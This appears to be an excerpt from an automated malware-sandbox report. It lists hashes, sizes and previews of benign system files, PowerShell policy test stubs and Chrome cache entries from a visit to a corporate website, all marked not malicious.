Preview:	.t.... .......A.......X\...;...{......................0.!..........{A..)...\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.....................................(.)...\|...................w..)...\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0771521180586845
Encrypted:	false
SSDEEP:	3:PnilEYeEHvZs5ejjn13a/DoV6llcVO/lnlZMxZNQl:ayzFAj53qD+OOewk
MD5:	82D74B1DFCFF0E1D491336FEA8B0A148
SHA1:	384A992C1CE6441978AEA2893E130DD2D58D7BA3
SHA-256:	3AC22EA4AC40D4991F3F76CC3C7627CEFA3530C014F131148A14FB8130F08366
SHA-512:	208319E89D350248969F8E817F965915D0D374D437A775FE0CD5A04723794B5D0AC956B8C513F50A929F1C3C1810D48EB65EA47EFE2DE031E01D8E77BD52F756
Malicious:	false
Reputation:	low
Preview:	.4F......................................;...{...)...\|.......{A..............{A......{A..........{A].................w..)...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul3xKtlz:NllUoX
MD5:	B0B16B2A7604DCA9353C2F8D6D039D7D
SHA1:	2E9C26A549A986C191D41223E7A733731DE495F9
SHA-256:	84DB309D790ED65004C96893FCEF8EEDE839FC7EB21560DF73FEA27C2AA31C93
SHA-512:	EE0F1054A1C6C866199BCABAF8471105DA7E19811F4826AF5C31308AEB1B8C4B47D288BC93C0B4ECF46B1BD98AC14A90B4314C3809C803E782CCD2B36C3F92A3
Malicious:	false
Reputation:	low
Preview:	@...e...................................k............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mjktdwsk.bhl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nijn4qcq.h0s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tehugaot.1no.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xnqoph0f.yg4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7272873879717174
Encrypted:	false
SSDEEP:	48:75Aoy2m/kLPr3C4U28bjDukvhkvklCywnMmdsYwSGlCMSogZowcMYwSGlCMSogZk:769k33CxHbekvhkvCCthwSGQHawSGQHk
MD5:	5F5F441BAB45973199871D92A7E9549E
SHA1:	5BB681A9E9E6D57E4AEFAEF3545B61E56B01BF2C
SHA-256:	E6DA713BD0DFDAECDBB4F67F395C8FD2E5A9BA744DA6DF2F3BC603E0DC6ED343
SHA-512:	422A3000C9B61CFAA4FD3534683AAF84B3E2B7D9AE8A0A40A8560EF1ECB59268EA91CDC048DC98017F585070EA0F7EB5B36104178AC37B5F6E78A2DF1EC4D6BC
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....ifD.o...z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....S6..o.....R.o.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.E...........................%..A.p.p.D.a.t.a...B.V.1.....CY!E..Roaming.@......CW.^CY!E..........................q...R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^DW.`..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWQ`..Windows.@......CW.^DWQ`..........................]...W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^CY%E....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DLDLD0SCXZZ6ZWLEFA7H.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7272873879717174
Encrypted:	false
SSDEEP:	48:75Aoy2m/kLPr3C4U28bjDukvhkvklCywnMmdsYwSGlCMSogZowcMYwSGlCMSogZk:769k33CxHbekvhkvCCthwSGQHawSGQHk
MD5:	5F5F441BAB45973199871D92A7E9549E
SHA1:	5BB681A9E9E6D57E4AEFAEF3545B61E56B01BF2C
SHA-256:	E6DA713BD0DFDAECDBB4F67F395C8FD2E5A9BA744DA6DF2F3BC603E0DC6ED343
SHA-512:	422A3000C9B61CFAA4FD3534683AAF84B3E2B7D9AE8A0A40A8560EF1ECB59268EA91CDC048DC98017F585070EA0F7EB5B36104178AC37B5F6E78A2DF1EC4D6BC
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....ifD.o...z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....S6..o.....R.o.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.E...........................%..A.p.p.D.a.t.a...B.V.1.....CY!E..Roaming.@......CW.^CY!E..........................q...R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^DW.`..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWQ`..Windows.@......CW.^DWQ`..........................]...W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^CY%E....Q...........

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2723)
Category:	dropped
Size (bytes):	3319
Entropy (8bit):	5.21526399957412
Encrypted:	false
SSDEEP:	96:VbVcO+ZfYDX5X1RtNtbtvthtxss8PkLyVG1fSxPUgar4JKnGrbdG:BVcO+BYDrR7lRvj7tZWe4PG
MD5:	7C74D1EF8C2FBD400B04B852A033C00C
SHA1:	4A565EA66F49DCD800AF0BBC1E087D6B347E951F
SHA-256:	37F3E22511E12AE9D861300605A4187DB1F84DCA10DFE8DDB043D554CE3BBEFC
SHA-512:	64B8765D0EE41AD31F08F86221DBF32E28F0FBC512B523348EA862BC369BBDB47EB0B59505BB8853E4F8773709C0F948E57147AB33FF858BF41C33FBFA5547BD
Malicious:	false
Preview:	//tealium universal tag - utag.1239 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={id:id};utag.o[loader].sender[id]=u;u.ev={view:1,link:1};u.initialized=false;u.scriptrequested=false;u.queue=[];u.map_func=function(arr,obj,item){var i=arr.shift();obj[i]=obj[i]\|\|{};if(arr.length>0){u.map_func(arr,obj[i],item);}else{obj[i]=item;}};u.callback=function(){twq('config',u.data.pixelId);var event_id;u.data.events.forEach(function(event){event_id='tw-'+u.data.pixelId+'-'+event;twq('event',event_id,u.data[event]);});};u.map={};u.extend=[];u.send=function(utag_event,data_layer){if(u.ev[utag_event]\|\|u.ev.all!==undefined){utag.DB('send:1239');utag.DB(data_layer);var a,b,c,d,e,f,g,h,query_params;a=utag_event;b=data_layer;u.data={base_url:'https://static.ads-twitter.com/uwt.js',pixelId:'nvbph',email_address:'',phone_number:'',external_id:'',search_string:'',description:'',twclid:'',order_total:'',order_currency:'',order_id:'',product_category:'

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65271)
Category:	downloaded
Size (bytes):	174630
Entropy (8bit):	5.27009604498214
Encrypted:	false
SSDEEP:	3072:YB647F5h/nt6ZkmNePlhco65qQOEOm8AIwR8IN3ezhfEHtDyvT:Y04JL4kqOvmWw6exyb
MD5:	8B3DF9DC651A7F5A4BFE1934B8991E16
SHA1:	C114B0666F64A01F4C59E9F64F2CE1A715F5746C
SHA-256:	3C572D22B0E1D095022EBC3E2636B83EDD4A163D51714DF71FD7D463D3CBC617
SHA-512:	1ED20CC9595A33586712FEB19D7EA2CA4A2FB819C33ACC8F79563B85582217DC10810474E6C7549BC1A6AA4143A56DC9AD7B9D4D75C5D5205A8EA3C17FC924AD
Malicious:	false
URL:	https://www.concur.com/sites/default/files/js/js_PFctIrDh0JUCLrw-Jja4Pt1KFj1RcU33H9fUY9PLxhc.js
Preview:	/! jQuery JavaScript Library v3.4.1. * https://jquery.com/. . Includes Sizzle.js. * https://sizzlejs.com/. . Copyright JS Foundation and other contributors. * Released under the MIT license. * https://jquery.org/license. . Date: 2019-05-01T21:04Z. */.!function(global,factory){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=global.document?factory(global,!0):function(w){if(!w.document)throw new Error("jQuery requires a window with a document");return factory(w)}:factory(global)}("undefined"!=typeof window?window:this,function(window,noGlobal){"use strict";var arr=[],document=window.document,getProto=Object.getPrototypeOf,slice=arr.slice,concat=arr.concat,push=arr.push,indexOf=arr.indexOf,class2type={},toString=class2type.toString,hasOwn=class2type.hasOwnProperty,fnToString=hasOwn.toString,ObjectFunctionString=fnToString.call(Object),support={},isFunction=function isFunction(obj){return"function"==typeof obj&&"number"!=typeof obj.nodeType}

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20426), with no line terminators
Category:	dropped
Size (bytes):	20426
Entropy (8bit):	5.3336325107838505
Encrypted:	false
SSDEEP:	192:QCYSlzX09IrLtW9rCvasGXEnbXpkzaD8l9mJsQ8pVqBWxMzVVQd7V6tvQ4xS:QCbXxv3MEnKz08Fbqv7Qv2o
MD5:	BEEC939F9E0E3C863E23B6AE77AB205B
SHA1:	C6A0BAA724FD0FB5FF1B7C48E0F32804BEE505AA
SHA-256:	8E196F7AADCC03AC20701C2D7CD9975AFF1A10E3A3704D604B600D7C6ED2CA5A
SHA-512:	0D0EB837F3BE67CA1793CFC199235B1A4C86E07D410BD17DAC158D99CA810A2A3F973D20D91E41429FBDC5F001956F42E1C81B34454F26CEB638CE51B3CD0289
Malicious:	false
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[28],{"1ScA":function(e,t,n){"use strict";n.d(t,"a",function(){return useReflowFrameClassName});var r=n("s8DI"),a=n("QtlZ"),c=n("ILQF"),o=n("g6eD"),s=n("JBtm"),i=n.n(s),u=n("ERkP"),l=n("EQxi"),f=!1;function useReflowFrameClassName(){var e="";if(!f){var t=Object(l.f)(i.a.parse(document.location.search));e=(null===t\|\|void 0===t?void 0:t.isXSScreenSize)?"widget--xs":"",f=!0}var n=Object(u.useState)(e),s=Object(r.a)(n,2),p=s[0],d=s[1],b=Object(u.useState)(void 0),v=Object(r.a)(b,2),g=v[0],h=v[1];return Object(u.useEffect)(function(){Object(c.c)({topic:"CONDUCTOR:reflowFrame",handler:function handler(e){var t=e.data;d(function(){return t.isXSScreenSize?"widget--xs":""}),a.a.dispatch(Object(o.g)(t.isXSScreenSize)),t.clientInnerHeight&&h(function(){return t.clientInnerHeight})}})},[]),{reflowFrameCX:p,clientInnerHeight:g}}},"2uLe":function(e,t,n){"use strict";var r=n("mj2O"),a=n.n(r),c=n("7SM1"),o=n("s8DI"),s=n("8ZCy"),i=n("VkHq"),u=n("ILQF"

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 56x56, segment length 16, progressive, precision 8, 1028x252, components 3
Category:	dropped
Size (bytes):	17662
Entropy (8bit):	7.8155549764210415
Encrypted:	false
SSDEEP:	384:GiSf60X6mvw1GOICzHo6Hoc35CFbz/yUqc83HN6W6KPyO6Z1QGFo:Gi3y6mI6CEW4z/yUmiKPyO41Z6
MD5:	15603CFCCAD4DE944676F96158857C01
SHA1:	9186B0E224A64F621CEECD50B7B4D65DD9BB324C
SHA-256:	761FA6E80979693E853861B38DBC37786B8CFE380B65DC2AEEF5FBB690AFF372
SHA-512:	4B801D2350108CD13D3A0BA2561EBA63661025767A144DDC208EC8EC65469481C0E0B765B9D5E641861A3D56622027915997273319A5D2D21B042297AF45D678
Malicious:	false
Preview:	......JFIF.....8.8......ICC_PROFILE.......lcms....mntrRGB XYZ .........).9acspAPPL...................................-lcms................................................desc.......^cprt...\....wtpt...h....bkpt...\|....rXYZ........gXYZ........bXYZ........rTRC.......@gTRC.......@bTRC.......@desc........c2..................................................................................text....FB..XYZ ...............-XYZ ...........3....XYZ ......o...8.....XYZ ......b.........XYZ ......$.........curv...............c...k...?.Q.4!.).2.;.F.Qw].kpz....\|.i.}...0..................................................%...........%.8.#.).#.#.).#.8.2.<.1...1.<.2.Y.F.>.>.F.Y.g.V.R.V.g.}.p.p.}........................................................%...........%.8.#.).#.#.).#.8.2.<.1...1.<.2.Y.F.>.>.F.Y.g.V.R.V.g.}.p.p.}......................."..........5.........................................................................................................................................................

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2026)
Category:	downloaded
Size (bytes):	96122
Entropy (8bit):	5.297586398004376
Encrypted:	false
SSDEEP:	1536:U5EyD3SBrE6/61TMGBKCz+a7tGOFBKFaav93emt4wNp+G5tmvvS5s6:QAE6C1oGBKFqBKEaBemlU6
MD5:	25A3A254B0A9E2E782F2D9823E09B7A5
SHA1:	A291C6A8C8BC0CFED098776483E97B615C4C8B57
SHA-256:	C1BA2FD7BF6C7864EFBA7C1724BA93930CBB8484B55BBBE168624D26F603956B
SHA-512:	B3561018641979713005DB206480B493472D1AF9DAB56E6EDE894C997BFC1E213B56EEAF6FD570D985C2536AD8DB73CDD6BFB8C91A0AAD78027B0FA888B66EC8
Malicious:	false
URL:	https://consent.trustarc.com/asset/notice.js/v/v1.7-5097
Preview:	function _truste_eu(){function u(){var g=truste.eu.bindMap;g.feat.isConsentRetrieved=g.feat.crossDomain?g.feat.isConsentRetrieved:!0;if(!u.done&&truste.util.isConsentResolved()){u.done=!0;var k=function(){var a=(new Date).getTime(),c=truste.util.readCookie(truste.eu.COOKIE_REPOP,!0),d=truste.eu.bindMap.popTime;return d&&d!=c&&a>=d}();k&&(g.feat.dropPopCookie=!0);truste.eu.ccpa.initialize();truste.eu.gpp.initialize();truste.eu.gpcDntAutoOptOut();truste.eu.gcm();var a=function(){var a=truste.eu.bindMap;.if(a.feat.consentResolution){var c=truste.util.readCookie(truste.eu.COOKIE_GDPR_PREF_NAME,!0);if(c&&(c=c.split(":"),!RegExp(a.behavior+"."+a.behaviorManager).test(c[2])&&(/(,us\|none)/i.test(c[2])\|\|"eu"==a.behaviorManager&&/implied.eu/i.test(c[2]))))return!0}return!1};truste.util.fireCustomEvent("truste-cookie",g.prefCookie);truste.eu.isGPCDNTEvent()?g.feat.dntShowUI&&"expressed"==g.behavior&&truste.util.executeOnCondition(function(){return g.prefCookie\|\|g.feat.gpp.gppApplies&&null==truste

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2979
Entropy (8bit):	7.913197519768003
Encrypted:	false
SSDEEP:	48:IKnelh9ihGX/wAR+NWbTz16MuVHbl4KRY7U0zO+tgxljIG1c7EIMPo7N6p4:7nTcYO+sTB3K0zfcd1cAIMPo7N7
MD5:	2142A76E22E76BEE0B44DE231AD0D363
SHA1:	0CA67C637471319A75C28E2EB339FFFC4AD578F6
SHA-256:	90DB615BF34B6AE1CBC4A9F43303B84967288CD09F215FB76F2EEE9B3B1C125C
SHA-512:	9D6E0E23B0AE7C1DC89060E0C1AF05C0148FBB9BF771F7A73B4A05401B76E2714A064FF7C0634D7CDB66AA66688DBF7919C71EC9D27036103D95D091F2617571
Malicious:	false
URL:	https://www.concur.com/sites/all/themes/concur7/favicon.ico
Preview:	.PNG........IHDR...`...`......w8....pHYs..........+.....UIDATx..{pT...?..nv...!C. ..GT@k....`..J.A.G..3U...jGk;.j..S.cG..-.WPG.."..!by$.DB.ym....d.y..!.<...G.={..{...;.s...B.P(...B.P(...B.P(...B.P(....tC...m@..\|?.o....^.P.C..]...........,.........C...2....t.....CHox..+v.......BzBK..^T+`p.!..}...7..8...C.....%>.]..M...$..u.HO....C..:...@X"D..g.{<M.8...>...]..U\|.X...`Q^"..&1#..0W..B..k..YM;.T.y.`+.z.e:5.7..B.G.h..-..o(J.d$`5...v]R.2.n.._c...l....>Q>P....v}...`.....9..&.cv....i....\5..asU...yu_....."?.iY..m..(....Lg.H..Y...%,Y_...F..n.w;...$..v.......>....~Q.K.'..o...9.f.6..o>..UGJ.zB.>f..K......\|Z.d.\>.w....4s..4..8...n./....@C..Kl...9.K...B.+....~.2).....m..\Y......v }@.WNHf..l.l......!=-q.....@..7MI...y".~..Ct..\]..K^V.....a..Ki.9k..'/....8.OH...(...=..q.....{.....o.#t........*.L`zVB....E.3>........0.....}..">....2\6.JaC..v?..ib.C.CB.Kct..3G8.....$.....j.......1n...{W..........+....W....Aa..............@...I!<M...Y\|.DA.tYV

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1374
Entropy (8bit):	4.498703509707746
Encrypted:	false
SSDEEP:	24:uMfWTaB8UQpbavNc0oJY04OXt4Oiy4OhHgCTDAo0WL7PhirxY8sXdkSc0BBc08qT:uoW2QpU93TOWOWOdgCoo77Phirxzsu8p
MD5:	F52DA374DF346F602391C124E9500B56
SHA1:	98D91F093752F5F404430CA12A4C0494DA3F2E76
SHA-256:	5C8C35514CB16BDA7820E2992EF53C3AB7E56C71907CCF4D178C8F40BF4A23EE
SHA-512:	59B636E1E140195D73FF237F6BA8A4249907A136D04FAA21EF0CB44CE7D695177665F16BE47CCB61A8118C110688B22B9685A39BEBFEE04E5396960F039C7E73
Malicious:	false
URL:	https://www.concur.com/sites/all/modules/custom_concur/concur_homepage_2021/js/homepage-2021.js
Preview:	// Hover card effects.var figure = jQuery(".m-card").hover( hoverVideo, hideVideo );..function hoverVideo(e) { . jQuery('video', this).get(0).play(); .}..function hideVideo(e) {. jQuery('video', this).get(0).pause(); .}..// Video play button.(function($){.. function vidPlay(video, placement) {.. switch (video.player) {. case 'youtube':. concur_media.players.youtube.initVideo(video).place(placement);. break;. case 'youku':. concur_media.players.youku.initVideo(video).place(placement);. break;. default:. concur_media.players.brightcove.initVideo(video).place(placement);. }.. }.. function blindPost(e){.. var video = $(e.currentTarget).data('videoparam'),. placement = $(e.currentTarget);. video.title = document.title + ' - ' + video.title.toString();. jQuery.concur.eloquaUserData.docid = video.tracking_id;..

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (487)
Category:	dropped
Size (bytes):	488
Entropy (8bit):	4.841686487844174
Encrypted:	false
SSDEEP:	12:ZorFgHDWrwAfu1eEkLsFtdJdG8nGELUD4LxZr8a65wARn:pDWJfurG8Goa4UR
MD5:	2775054C068B37509E0798448F7FD32C
SHA1:	8CCB907373C30EB3B98D5A24EC92141A938F09F5
SHA-256:	484EF4268F1D679C1AE88C06FC2388D39AFC441465732617E5E2CDC2E3D418E2
SHA-512:	5423F06453EA452614E21391C098D252DDB65ABC958C02664D9B6F1BD3BAD858B396B053C57AA714391C8953F849FAC3B6ECB9AA0C4F74F4FB81C1242B485EB4
Malicious:	false
Preview:	var TTDCM = function () { function n(t) { var e = "iframe_" + this.mapIndex++, i = document.createElement("iframe"); i.setAttribute("id", e), i.setAttribute("allowTransparency", !0), i.setAttribute("height", 0), i.setAttribute("width", 0), i.setAttribute("src", t), document.body.appendChild(i) } this.init = function (t) { if (this.sslOnly = "https:" == location.protocol, void 0 !== t && null != t && 0 != t.length) for (var e = t.length, i = this.mapIndex = 0; i < e; i++)n(t[i]) } };.

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
URL:	https://us-u.openx.net/w/1.0/sd?cc=1&id=537148856&val=Zv5YvgAAAEmPUQN-
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	226668
Entropy (8bit):	5.31800568909065
Encrypted:	false
SSDEEP:	3072:XmqIZl5phQk+VC+xyLRcP2QJ0roSjdDTtS223EM/LuJPJ:mM2qQDTtSn/ihJ
MD5:	F832FFABF78FE78B7D496FD5029E9A5A
SHA1:	3F3579A46572BACCE6B370F441AA8A3C830F5209
SHA-256:	635C69243B34E95BB6C714CB6C43815C7B4C50D0E2EF76354DF4CB2B4A1325AF
SHA-512:	9F6D23E22CF52265D02FAB46A307CB7A25AB92BFB69D75BA969C697B4AA2DA73FFBC326B6492BF48BEF6855B52054ADE425910F77148B7879763C640CE9AE7FB
Malicious:	false
Preview:	!function(e){function webpackJsonpCallback(t){for(var r,o,i=t[0],s=t[1],c=0,u=[];c<i.length;c++)o=i[c],n[o]&&u.push(n[o][0]),n[o]=0;for(r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r]);for(a&&a(t);u.length;)u.shift()()}var t={},n={0:0};function __webpack_require__(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,__webpack_require__),r.l=!0,r.exports}__webpack_require__.e=function requireEnsure(e){var t=[],r=n[e];if(0!==r)if(r)t.push(r[2]);else{var o=new Promise(function(t,o){r=n[e]=[t,o]});t.push(r[2]=o);var i,a=document.createElement("script");a.charset="utf-8",a.timeout=120,__webpack_require__.nc&&a.setAttribute("nonce",__webpack_require__.nc),a.src=function jsonpScriptSrc(e){return __webpack_require__.p+"assets/"+({}[e]\|\|e)+"."+{1:"37afe153",2:"2a722653",3:"ee35dea2"}[e]+".chunk.js"}(e);var s=new Error;i=function(t){a.onerror=a.onload=null,clearTimeout(c);var r=n[e];if(0!==r){if(r){var o=t&&("load"===t.type?"missing"

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1918
Entropy (8bit):	7.718775577667661
Encrypted:	false
SSDEEP:	24:jba0Tea++xFrNalqDIEDCL+GXgsV53nDLwnzmnfJrfswpJrt5fruHErrrrQLpKDF:jbNTH+YfudEWaGDH3kQfuwU0DuJzxm8g
MD5:	5B6520CF6A5893989311A4A70B166784
SHA1:	B04249A92F88BA3A5FCBC830FD429F5B4BE327E5
SHA-256:	CB8CBE3F2A25624DF867640AD625E183A22A3E473DAE7890FE1BD18E4C337ED5
SHA-512:	8BB6EED511662119E29B708262D1EF14D39C42F387B6485066097B7AFD336FFE7D6855D13EB9DEB10EC98A62B1DCB60BDB00CDF68554A7BD17C19A8E998BE7CA
Malicious:	false
Preview:	.PNG........IHDR...x...x.....9d6.....orNT..w....8IDATx...{PTe...'..PY/e5N..&.W .+G.LI@...4G.....S^.I.Q.PQv...,.XZ...f.K.?^fjp..6...Z...8......x......+....{.qw.%!.!..;......E+~..+..~Z.3...f.W....D.EK.H..+..E."..]Ym.....XG...D.....O...3j.'Z.........8w..&/J.....6\.u<"........7......d}..pr.x.).qQ`...L[.(qt..2.e..........0...`......0...`......x....e...V<.].."...XtE1.....\Py.....^.d9/(...'..>.T..9/R.2...O6\-.Ev.......!.........OR..j.?. Y/...k1..H...PY......i.>.:'.eK.p=.S...~36.6,.=.y]-...W.7 